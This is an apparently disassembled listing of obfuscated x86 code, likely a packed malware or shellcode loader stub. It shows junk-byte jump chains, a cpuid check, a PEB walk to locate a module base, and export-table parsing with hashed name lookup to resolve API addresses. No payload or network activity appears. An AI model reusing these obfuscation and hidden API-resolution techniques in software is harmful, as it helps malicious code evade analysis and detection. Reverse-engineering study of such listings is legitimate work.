		dd 24DE477h, 4E495013h,	5A057C6Fh, 2681688Bh, 0B2BD1467h
		dd 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh
; ---------------------------------------------------------------------------
		push	edi
		inc	esp


loc_404562:				; CODE XREF: .text:loc_404537j
		jmp	short loc_40453C
; ---------------------------------------------------------------------------
		sub	eax, 29B0F362h


loc_404569:				; CODE XREF: .text:loc_404575j
		jmp	short loc_404598
; ---------------------------------------------------------------------------
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_404575:				; CODE XREF: .text:loc_40453Cj
		jmp	short loc_404569
; ---------------------------------------------------------------------------
		db 74h
		dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh
		dd 3C2F0E09h, 284B1AC5h, 0D427E641h
; ---------------------------------------------------------------------------


loc_404598:				; CODE XREF: .text:loc_404569j
		push	eax
		push	edx
		push	ecx
		mov	ecx, ebx
		dec	ecx
		cld
		pop	ecx
		pop	edx
		mov	eax, edx
		push	esi
		push	ebx
		push	edx
		pop	esi
		neg	ebx
		mov	esi, 808A5Ah
		add	esi, 80CB5Ah
		cld
		pop	ebx
		pop	esi
		pop	eax
		push	eax
		push	ebx
		inc	eax
		xor	eax, edx
		neg	eax
		mov	bx, 4935h
		sbb	eax, 80CD5Ah
		rep mov	ebx, 80D8DAh
		test	eax, ebx
		cld
		pop	ebx
		pop	eax
		mov	eax, 80000000h
		push	ecx
		push	eax
		mov	eax, eax
		dec	ecx
		cld
		pop	eax
		pop	ecx
		cpuid
		jmp	short loc_404612
; ---------------------------------------------------------------------------
		db 0EDh, 22h, 0B3h
; ---------------------------------------------------------------------------


loc_4045E8:				; CODE XREF: .text:loc_404612j
		jmp	short loc_404625
; ---------------------------------------------------------------------------
		dw 0E970h
		dd 0A59C0F6Eh, 21882B7Ah, 5D340746h, 59A0A3D2h,	15CCFF1Eh
		dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh
; ---------------------------------------------------------------------------
		fimul	dword ptr [ebx]


loc_404612:				; CODE XREF: .text:004045E3j
		jmp	short loc_4045E8
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_404615:				; CODE XREF: .text:loc_404625j
		jmp	short loc_404640
; ---------------------------------------------------------------------------
		db 1
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
		db 8Ah
; ---------------------------------------------------------------------------


loc_404625:				; CODE XREF: .text:loc_4045E8j
		jmp	short loc_404615
; ---------------------------------------------------------------------------
		db 0FBh
		db 18h,	71h
; ---------------------------------------------------------------------------


loc_40462A:				; CODE XREF: .text:loc_404640j
		jmp	short loc_404655
; ---------------------------------------------------------------------------
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h
; ---------------------------------------------------------------------------


loc_404640:				; CODE XREF: .text:loc_404615j
		jmp	short loc_40462A
; ---------------------------------------------------------------------------
		dw 6392h
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_40469F
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop


loc_404655:				; CODE XREF: .text:loc_40462Aj
		cmp	eax, 665B5001h
		jnz	loc_4046A5
		push	ebx
		push	eax
		shl	ebx, 0Ah
		xor	eax, ebp
		xor	ebx, 80A89Ah
		cld
		pop	eax
		pop	ebx
		cmp	edx, 7A7000h
		jnz	loc_4046A5
		push	eax
		push	edi
		and	eax, 80A0DAh
		shl	eax, 3Dh
		push	ebp
		pop	eax
		dec	eax
		stc
		mov	edi, 80E51Ah
		mov	eax, ecx
		lea	eax, ds:80A09Ah
		cld
		cld
		pop	edi
		pop	eax
		retn
; ---------------------------------------------------------------------------
		push	edx
		push	eax


loc_40469F:				; CODE XREF: .text:0040464Cj
		shr	eax, 0B1h
		cld
		pop	eax
		pop	edx


loc_4046A5:				; CODE XREF: .text:0040465Aj
					; .text:00404676j
		jmp	loc_406A62
; ---------------------------------------------------------------------------
		push	ecx
		push	edx
		cmp	al, 0C2h
		inc	edx
		cld
		pop	edx
		pop	ecx

; =============== S U B	R O U T	I N E =======================================



sub_4046B2	proc near		; CODE XREF: .text:00406A73p
		xor	eax, eax
		push	ebx
		push	edi
		xor	edi, eax
		xchg	ebx, ebx
		mov	ebx, 80E35Ah
		test	eax, ebp
		and	ebx, 80CEDAh
		neg	ebx
		cld
		pop	edi
		pop	ebx
		mov	eax, fs:[eax+30h]
		push	esi
		push	ecx
		xchg	esi, esi
		rol	esi, 34h
		test	ecx, edx
		xor	esi, edi
		xor	ecx, edi
		cld
		pop	ecx
		pop	esi
		test	eax, eax
		js	loc_4047B7
		push	eax
		push	edx
		cmp	al, 0DEh
		mov	eax, edx
		xchg	edx, edx
		clc
		cld
		pop	edx


loc_4046F3:				; CODE XREF: sub_4046B2+A7j
		pop	eax
		mov	eax, [eax+0Ch]
		push	eax
		push	ecx
		mov	ecx, 811F5Ah
		sbb	eax, 80C81Ah
		xor	eax, esp
		cmp	ah, bl
		rcr	ecx, 34h
		inc	ecx
		cld


loc_40470D:				; CODE XREF: sub_4046B2+BCj
					; sub_4046B2+C0j
		pop	ecx
		pop	eax
		mov	esi, [eax+1Ch]
		jmp	short loc_404742
; ---------------------------------------------------------------------------
		dd 33A26D84h
		db 0F0h, 69h, 0EEh
; ---------------------------------------------------------------------------


loc_40471B:				; CODE XREF: sub_4046B2:loc_404742j
		jmp	short loc_404752
; ---------------------------------------------------------------------------
		db 8Fh,	1Ch, 25h
		dd 0A108ABFAh, 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh
		dd 4DE47776h, 49501302h, 57C6F4Eh
		db 5Ah,	8Bh
; ---------------------------------------------------------------------------


loc_404742:				; CODE XREF: sub_4046B2+60j
		jmp	short loc_40471B
; ---------------------------------------------------------------------------
		dd 67268168h
; ---------------------------------------------------------------------------


loc_404748:				; CODE XREF: sub_4046B2:loc_404752j
		jmp	short loc_404775
; ---------------------------------------------------------------------------
		dw 0BD14h
		dd 0B98003B2h
		db 0FEh, 5Fh
; ---------------------------------------------------------------------------


loc_404752:				; CODE XREF: sub_4046B2:loc_40471Bj
		jmp	short loc_404748
; ---------------------------------------------------------------------------
		lodsb


loc_404755:				; CODE XREF: sub_4046B2:loc_404775j
		jmp	short loc_404786
; ---------------------------------------------------------------------------
		jnz	short near ptr loc_40475F+4
		jnp	short loc_4046F3
		icebp
		setalc
		push	edi
		inc	esp


loc_40475F:				; CODE XREF: sub_4046B2+A5j
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_40470D
		adc	ah, bl
		loopne	loc_40470D
		pop	esi


loc_404775:				; CODE XREF: sub_4046B2:loc_404748j
		jmp	short loc_404755
; ---------------------------------------------------------------------------
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h


loc_404786:				; CODE XREF: sub_4046B2:loc_404755j
		lodsd
		push	edx
		push	edi
		rcl	edi, 0E3h
		inc	edi
		rcl	edx, 0Ch
		cld
		pop	edi
		pop	edx
		mov	esi, [eax+8]
		push	ecx
		push	edx
		cmp	edx, 80B29Ah
		cmp	ebp, esp
		inc	ecx
		cmp	al, 0DBh
		push	eax
		pop	edx
		xor	edx, eax
		mov	dx, 48F5h
		cld
		pop	edx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	edi
		xor	edi, ebp
		dec	esi
		cld
		pop	edi
		pop	esi


loc_4047B7:				; CODE XREF: sub_4046B2+30j
		mov	eax, [eax+34h]
		push	edi
		push	eax
		rcr	eax, 27h
		xchg	eax, edi
		xor	edi, ebp
		xchg	eax, edi
		cmp	al, 0C6h
		cld
		pop	eax
		pop	edi
		add	eax, 7Ch
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------
		db 40h
		dd 6C1FBE79h
		db 35h,	0CAh
; ---------------------------------------------------------------------------


loc_4047D6:				; CODE XREF: sub_4046B2:loc_4047FDj
		jmp	short loc_40480D
; ---------------------------------------------------------------------------
		dd 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh
		dd 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh
		db 0F7h
; ---------------------------------------------------------------------------


loc_4047FD:				; CODE XREF: sub_4046B2+11Bj
		jmp	short loc_4047D6
; ---------------------------------------------------------------------------
		db 64h
		db 0CDh, 82h, 93h
; ---------------------------------------------------------------------------


loc_404803:				; CODE XREF: sub_4046B2:loc_40480Dj
		jmp	short loc_404830
; ---------------------------------------------------------------------------
		db 0D0h, 0C9h, 0CEh
		dd 0DA85FCEFh
		db 0Bh
; ---------------------------------------------------------------------------


loc_40480D:				; CODE XREF: sub_4046B2:loc_4047D6j
		jmp	short loc_404803
; ---------------------------------------------------------------------------
		db 0E8h
		dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h
; ---------------------------------------------------------------------------


loc_404830:				; CODE XREF: sub_4046B2:loc_404803j
		mov	eax, [eax+3Ch]
		push	eax
		push	edi
		push	ebp
		pop	eax
		dec	eax
		cld
		pop	edi
		pop	eax
		mov	esi, eax
		push	edi
		push	edx
		not	edi
		clc
		mov	edx, 80C89Ah
		mov	di, 49A2h
		dec	edx
		push	ebp
		pop	edi
		cld
		pop	edx
		pop	edi
		retn
sub_4046B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_404871
; ---------------------------------------------------------------------------
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------


loc_404857:				; CODE XREF: .text:loc_404871j
		jmp	short loc_404884
; ---------------------------------------------------------------------------
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp
		std


loc_404871:				; CODE XREF: .text:00404852j
		jmp	short loc_404857
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_404874:				; CODE XREF: .text:loc_404884j
		jmp	short near ptr sub_4048A4
; ---------------------------------------------------------------------------
		dw 0C043h
		dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
; ---------------------------------------------------------------------------


loc_404884:				; CODE XREF: .text:loc_404857j
		jmp	short loc_404874
; ---------------------------------------------------------------------------
		dw 0A26Dh
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
		dd 0AA954C7Fh, 7611389Bh

; =============== S U B	R O U T	I N E =======================================



sub_4048A4	proc far		; CODE XREF: .text:loc_404874j
					; sub_4048A4:loc_4050F3p ...

var_18		= dword	ptr -18h

		push	ebp
		push	ecx
		push	ebx
		lea	ecx, ds:8098DAh
		xor	ecx, edx
		sbb	ebx, 80919Ah
		ror	ebx, 0F5h
		cmp	al, 0DCh
		cld
		pop	ebx
		pop	ecx
		mov	ebp, esp
		push	ecx
		push	eax
		xor	eax, esp
		lea	ecx, ds:81095Ah
		lea	eax, ds:80A1DAh
		dec	ecx
		cld
		pop	eax
		pop	ecx
		add	esp, 0FFFFFFFCh
		push	eax
		push	edi
		lea	eax, ds:809A5Ah
		xor	edi, ebx
		xchg	edi, eax
		mov	edi, ecx
		cmp	ebx, ebx
		rep cld
		pop	edi
		pop	eax
		push	ebx
		jmp	short loc_404916
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 68h
; ---------------------------------------------------------------------------


loc_4048F0:				; CODE XREF: sub_4048A4:loc_404916j
		jmp	short loc_404929
; ---------------------------------------------------------------------------
		dw 2681h
		dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h
		dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh
		db 47h,	74h
; ---------------------------------------------------------------------------


loc_404916:				; CODE XREF: sub_4048A4+47j
		jmp	short loc_4048F0
; ---------------------------------------------------------------------------
		dd 0E0E3129Dh
; ---------------------------------------------------------------------------
		cdq


loc_40491D:				; CODE XREF: sub_4048A4:loc_404929j
		jmp	short loc_40494E
; ---------------------------------------------------------------------------
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa


loc_404929:				; CODE XREF: sub_4048A4:loc_4048F0j
		jmp	short loc_40491D
; ---------------------------------------------------------------------------
		db 0A4h
		dd 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h,	40C3727Dh
		dd 6C1FBE79h, 583BCA35h, 41796B1h
		db 0EDh, 22h
; ---------------------------------------------------------------------------


loc_40494E:				; CODE XREF: sub_4048A4:loc_40491Dj
		push	esi
		jmp	short loc_40497C
; ---------------------------------------------------------------------------
		db 6Eh,	0Fh, 9Ch
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_4048A4:loc_40497Cj
		jmp	short loc_40498F
; ---------------------------------------------------------------------------
		dw 7AA5h
		dd 4621882Bh, 0D25D3407h, 1E59A0A3h, 2A15CCFFh,	0F691B81Bh
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh
; ---------------------------------------------------------------------------


loc_40497C:				; CODE XREF: sub_4048A4+ABj
		jmp	short loc_404954
; ---------------------------------------------------------------------------
		dw 94E7h
		dd 83323Dh, 2CDF7E39h, 18FB8AF5h
; ---------------------------------------------------------------------------
		jno	short loc_4049E4
		xlat


loc_40498F:				; CODE XREF: sub_4048A4:loc_404954j
		push	edi
		push	ecx
		push	edx
		sub	ecx, 0A0C81Ah
		jnz	loc_4049A0
		neg	edx


loc_4049A0:				; CODE XREF: sub_4048A4+F4j
		dec	ecx
		cld
		pop	edx
		pop	ecx
		mov	ebx, [ebp+8]
		push	edx
		push	eax
		test	cl, al
		test	ecx, ebx
		push	esp
		pop	edx
		dec	eax
		cld
		pop	eax
		pop	edx
		mov	ecx, ebx
		push	ecx
		push	edx
		mov	edx, edi
		test	eax, ebp
		push	eax
		pop	ecx
		rcr	ecx, 57h
		xor	edx, eax
		cld
		pop	edx
		pop	ecx
		add	ebx, [ebx+3Ch]
		jmp	short loc_4049F9
; ---------------------------------------------------------------------------
		cmp	ch, bl
		dec	eax


loc_4049CD:				; CODE XREF: sub_4048A4:loc_4049F9j
		jmp	short loc_404A0C
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_404A31
		mov	dh, 0B7h
		and	al, 8Dh


loc_4049E4:				; CODE XREF: sub_4048A4+E8j
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h
		db 3Eh
; ---------------------------------------------------------------------------


loc_4049F9:				; CODE XREF: sub_4048A4+124j
		jmp	short loc_4049CD
; ---------------------------------------------------------------------------
		db 9Fh
		dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h
; ---------------------------------------------------------------------------


loc_404A0C:				; CODE XREF: sub_4048A4:loc_4049CDj
		push	dword ptr [ebx+7Ch]
		jmp	short loc_404A2D
; ---------------------------------------------------------------------------
		db 0A1h, 0C6h, 87h
		dd 2352DDB4h
; ---------------------------------------------------------------------------


loc_404A18:				; CODE XREF: sub_4048A4:loc_404A2Dj
		jmp	short loc_404A44
; ---------------------------------------------------------------------------
		dw 0D920h
		dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h
; ---------------------------------------------------------------------------
		dec	esi


loc_404A2D:				; CODE XREF: sub_4048A4+16Bj
		jmp	short loc_404A18
; ---------------------------------------------------------------------------
		db 6Fh
		db 7Ch
; ---------------------------------------------------------------------------


loc_404A31:				; CODE XREF: sub_4048A4+13Aj
					; sub_4048A4:loc_404A44j
		jmp	short loc_404A5C
; ---------------------------------------------------------------------------
		db 5
		dd 81688B5Ah, 0BD146726h, 0B98003B2h, 75AC5FFEh
; ---------------------------------------------------------------------------


loc_404A44:				; CODE XREF: sub_4048A4:loc_404A18j
		jmp	short loc_404A31
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_404A5C:				; CODE XREF: sub_4048A4:loc_404A31j
		mov	ebx, [ebx+78h]
		push	ebx
		push	ecx
		lea	ebx, ds:80C89Ah
		mov	ebx, ebx
		mov	ebx, esi
		inc	ebx
		cld
		pop	ecx
		pop	ebx
		add	ebx, ecx
		push	ebx
		push	eax
		mov	eax, ebx
		or	ebx, 808ADAh
		cmp	cl, al
		dec	eax
		rcr	ebx, 0D7h
		mov	ebx, 80A9DAh
		dec	eax
		cmp	al, 0CEh
		dec	eax
		cld
		pop	eax
		pop	ebx
		add	[esp+0], ebx
		push	eax
		push	ebx
		xchg	ebx, eax
		test	ecx, esp
		test	ecx, eax
		cmp	cl, ch
		neg	eax
		clc
		cld
		pop	ebx
		pop	eax
		mov	edi, [ebx+20h]
		push	ecx
		push	eax
		mov	ecx, 80D81Ah
		mov	ecx, ebp
		mov	ecx, 81A1AAh
		neg	ecx
		not	ecx
		neg	eax
		mov	cx, 4BB2h
		inc	eax
		cld
		pop	eax
		pop	ecx
		add	edi, ecx
		push	ebx
		push	edi
		jmp	loc_404AD1
; ---------------------------------------------------------------------------
		mov	bx, 49A3h
		xor	edi, esi
		shl	ebx, 3Fh


loc_404AD1:				; CODE XREF: sub_4048A4+21Fj
		inc	ebx
		cld
		pop	edi
		pop	ebx
		xor	esi, esi
		jmp	short loc_404B04
; ---------------------------------------------------------------------------
		db 0A4h, 0Dh, 0C2h
; ---------------------------------------------------------------------------


loc_404ADC:				; CODE XREF: sub_4048A4:loc_404B04j
		jmp	short loc_404B17
; ---------------------------------------------------------------------------
		dw 10D3h
		dd 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh,	6C1FBE79h
		dd 583BCA35h, 41796B1h,	70B322EDh, 9C0F6EE9h
; ---------------------------------------------------------------------------


loc_404B04:				; CODE XREF: sub_4048A4+233j
		jmp	short loc_404ADC
; ---------------------------------------------------------------------------
		dw 7AA5h
		db 2Bh
; ---------------------------------------------------------------------------


loc_404B09:				; CODE XREF: sub_4048A4:loc_404B17j
		jmp	short loc_404B3A
; ---------------------------------------------------------------------------
		mov	[ecx], ah
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl


loc_404B17:				; CODE XREF: sub_4048A4:loc_404ADCj
		jmp	short loc_404B09
; ---------------------------------------------------------------------------
		align 2
		dw 2A15h
		dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh
		dd 323D94E7h, 7E390083h
		db 0DFh, 2Ch
; ---------------------------------------------------------------------------


loc_404B3A:				; CODE XREF: sub_4048A4:loc_404B09j
					; sub_4048A4+521j
		lea	edx, [edi+esi*4]
		push	esi
		push	ebx
		xor	esi, 80C8DAh
		mov	esi, edx
		lea	esi, ds:8093DAh
		neg	esi
		and	ebx, 808A1Ah
		rep cld
		pop	ebx
		pop	esi
		mov	edx, [edx]
		push	esi
		push	eax
		test	ecx, eax
		inc	eax
		cld
		pop	eax
		pop	esi
		add	edx, ecx
		push	eax
		push	ecx
		xor	eax, ebx
		mov	eax, ecx
		lea	ecx, ds:80A8DAh
		ror	eax, 0ABh
		xchg	ecx, ecx
		cld
		pop	ecx
		pop	eax
		mov	[ebp-4], edx
		jmp	short loc_404BAD
; ---------------------------------------------------------------------------
		dw 0A930h
		db 2Eh
; ---------------------------------------------------------------------------


loc_404B81:				; CODE XREF: sub_4048A4:loc_404BADj
		jmp	short loc_404BC0
; ---------------------------------------------------------------------------
		db 0CFh
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch
		dd 0B7B65178h, 53428D24h, 0AF8E8990h, 0CB9A45BCh, 0A766C1A8h
; ---------------------------------------------------------------------------
		push	esp


loc_404BAD:				; CODE XREF: sub_4048A4+2D8j
		jmp	short loc_404B81
; ---------------------------------------------------------------------------
		db 0FDh
		dd 0F9C043F2h
		db 3Eh,	9Fh
; ---------------------------------------------------------------------------


loc_404BB6:				; CODE XREF: sub_4048A4:loc_404BC0j
		jmp	short loc_404BE3
; ---------------------------------------------------------------------------
		dd 0BB4AB5ECh, 971631D8h
; ---------------------------------------------------------------------------


loc_404BC0:				; CODE XREF: sub_4048A4:loc_404B81j
		jmp	short loc_404BB6
; ---------------------------------------------------------------------------
		dw 6D84h
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h
		dd 954C7F9Eh, 11389BAAh
		db 76h,	77h, 0E4h
; ---------------------------------------------------------------------------


loc_404BE3:				; CODE XREF: sub_4048A4:loc_404BB6j
		xor	eax, eax
		jmp	short loc_404C14
; ---------------------------------------------------------------------------
		db 6Fh
		dd 8B5A057Ch, 67268168h, 3B2BD14h, 5FFEB980h, 7B0A75ACh
		dd 57D6F198h
		db 44h
; ---------------------------------------------------------------------------


loc_404C01:				; CODE XREF: sub_4048A4:loc_404C14j
		jmp	short loc_404C33
; ---------------------------------------------------------------------------
		db 2Dh
		dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh, 9D744786h
; ---------------------------------------------------------------------------


loc_404C14:				; CODE XREF: sub_4048A4+341j
		jmp	short loc_404C01
; ---------------------------------------------------------------------------
		dw 0E312h
		db 0E0h, 99h
; ---------------------------------------------------------------------------


loc_404C1A:				; CODE XREF: sub_4048A4:loc_404C33j
		jmp	short loc_404C4A
; ---------------------------------------------------------------------------
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]


loc_404C33:				; CODE XREF: sub_4048A4:loc_404C01j
		jmp	short loc_404C1A
; ---------------------------------------------------------------------------
		db 41h,	0E6h, 27h
		dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch, 1796B158h
; ---------------------------------------------------------------------------
		add	al, 0EDh


loc_404C4A:				; CODE XREF: sub_4048A4:loc_404C1Aj
					; sub_4048A4+44Bj
		rol	eax, 7
		push	esi
		push	ecx
		xchg	esi, esi
		xchg	ecx, esi
		inc	esi
		not	esi
		mov	si, 494Dh
		rcr	ecx, 6
		dec	ecx
		shr	esi, 8
		mov	cx, 4A91h
		dec	esi
		cld
		pop	ecx
		pop	esi
		xor	al, [edx]
		jmp	short loc_404C9D
; ---------------------------------------------------------------------------
		db 0A5h, 7Ah, 2Bh
; ---------------------------------------------------------------------------
		mov	[ecx], ah
		inc	esi
		pop	es


loc_404C74:				; CODE XREF: sub_4048A4:loc_404C9Dj
		jmp	short loc_404CB4
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		dd 85FCEFCEh, 1E80BDAh,	3D94E7A6h, 39008332h
		db 7Eh
; ---------------------------------------------------------------------------


loc_404C9D:				; CODE XREF: sub_4048A4+3C7j
		jmp	short loc_404C74
; ---------------------------------------------------------------------------
		db 0DFh
		dd 0FB8AF52Ch
		db 18h
; ---------------------------------------------------------------------------


loc_404CA5:				; CODE XREF: sub_4048A4:loc_404CB4j
		jmp	short loc_404CD3
; ---------------------------------------------------------------------------
		db 71h
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------


loc_404CB4:				; CODE XREF: sub_4048A4:loc_404C74j
		jmp	short loc_404CA5
; ---------------------------------------------------------------------------
		dw 0EB3Ah
		dd 0C706E148h, 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h
		dd 53428D24h
		db 90h
		db 89h,	8Eh
; ---------------------------------------------------------------------------


loc_404CD3:				; CODE XREF: sub_4048A4:loc_404CA5j
		inc	edx
		push	eax
		push	edi
		not	eax
		clc
		mov	eax, esp
		test	cl, cl
		inc	edi
		mov	eax, 809A9Ah
		shr	eax, 86h
		push	esp
		pop	eax
		clc
		cld
		pop	edi
		pop	eax
		cmp	byte ptr [edx],	0
		jnz	loc_404C4A
		jmp	short loc_404D24
; ---------------------------------------------------------------------------
		db 0A8h
		db 0C1h, 66h
; ---------------------------------------------------------------------------


loc_404CFA:				; CODE XREF: sub_4048A4:loc_404D24j
		jmp	short loc_404D37
; ---------------------------------------------------------------------------
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh,	0A26D8497h
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
; ---------------------------------------------------------------------------


loc_404D24:				; CODE XREF: sub_4048A4+451j
		jmp	short loc_404CFA
; ---------------------------------------------------------------------------
		dw 4C7Fh
		dd 389BAA95h, 0E4777611h, 5013024Dh
		db 49h,	4Eh, 6Fh
; ---------------------------------------------------------------------------


loc_404D37:				; CODE XREF: sub_4048A4:loc_404CFAj
		cmp	eax, [ebp+0Ch]
		jz	loc_404DDF
		jmp	short loc_404D6E
; ---------------------------------------------------------------------------
		dw 6726h
		dd 3B2BD14h, 5FFEB980h,	7B0A75ACh, 57D6F198h, 0F3622D44h
		dd 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h
		db 0E0h
; ---------------------------------------------------------------------------


loc_404D69:				; CODE XREF: sub_4048A4:loc_404D6Ej
		jmp	short loc_404D95
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_404D6E:				; CODE XREF: sub_4048A4+49Cj
		jmp	short loc_404D69
; ---------------------------------------------------------------------------
		or	al, 55h


loc_404D72:				; CODE XREF: sub_4048A4:loc_404D95j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------
		dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh,	41284B1Ah
		dd 7DD427E6h, 7940C372h, 356C1FBEh
		db 0CAh
; ---------------------------------------------------------------------------


loc_404D95:				; CODE XREF: sub_4048A4:loc_404D69j
		jmp	short loc_404D72
; ---------------------------------------------------------------------------
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf


loc_404DA5:				; CODE XREF: sub_4048A4:loc_404D72j
		inc	esi
		push	esi
		push	ecx
		cmp	ebx, eax
		xchg	ecx, esi
		xor	ecx, esp
		test	al, dh
		mov	ecx, ebx
		lea	ecx, ds:80C89Ah
		not	esi
		rcl	ecx, 4Eh
		xor	esi, esp
		cld
		pop	ecx
		pop	esi
		cmp	esi, [ebx+18h]
		jb	loc_404B3A
		push	edi
		push	esi
		dec	esi
		ror	esi, 33h
		mov	edi, edx
		mov	si, 49CEh
		cmp	al, 0DCh
		xchg	edi, esi
		inc	edi
		cld
		pop	esi
		pop	edi


loc_404DDF:				; CODE XREF: sub_4048A4+496j
		mov	edx, [ebx+24h]
		push	edx
		push	ecx
		inc	edx
		ror	edx, 0AAh
		dec	edx
		cmp	esp, esp
		push	esi
		pop	edx
		shr	ecx, 6Ah
		xchg	ecx, edx
		inc	edx
		cld
		pop	ecx
		pop	edx
		add	edx, ecx
		push	esi
		push	edx
		mov	si, 4AA2h
		push	ebp
		pop	esi
		dec	esi
		mov	edx, 80909Ah
		push	edx
		pop	edx
		cmp	ebx, edi
		dec	esi
		inc	esi
		repne cld
		pop	edx
		pop	esi
		movzx	edx, word ptr [edx+esi*2]
		push	ebx
		push	edx
		push	edi
		pop	edx
		mov	ebx, 80905Ah
		test	al, ah
		mov	bx, 4A52h
		xor	edx, eax
		mov	edx, ebp
		mov	edx, esp
		cld
		pop	edx
		pop	ebx
		mov	eax, [ebx+1Ch]
		jmp	short loc_404E5C
; ---------------------------------------------------------------------------
		db 2Ah,	1Bh, 0B8h
; ---------------------------------------------------------------------------


loc_404E34:				; CODE XREF: sub_4048A4:loc_404E5Cj
		jmp	short loc_404E6F
; ---------------------------------------------------------------------------
		dw 0F691h
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh, 323D94E7h
		dd 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h
; ---------------------------------------------------------------------------


loc_404E5C:				; CODE XREF: sub_4048A4+58Bj
		jmp	short loc_404E34
; ---------------------------------------------------------------------------
		dw 3073h
		db 0A9h
; ---------------------------------------------------------------------------


loc_404E61:				; CODE XREF: sub_4048A4:loc_404E6Fj
		jmp	short loc_404E92
; ---------------------------------------------------------------------------
		db 2Eh
		dd 3A655CCFh, 6E148EBh
		db 0C7h, 0F4h, 1Dh
; ---------------------------------------------------------------------------


loc_404E6F:				; CODE XREF: sub_4048A4:loc_404E34j
		jmp	short loc_404E61
; ---------------------------------------------------------------------------
		db 92h,	63h, 60h
; ---------------------------------------------------------------------------
		sbb	esi, ebx


loc_404E76:				; CODE XREF: sub_4048A4:loc_404E92j
		jmp	short loc_404EA7
; ---------------------------------------------------------------------------
		mov	edi, 0DBEAD58Ch
		js	short loc_404ED0
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp


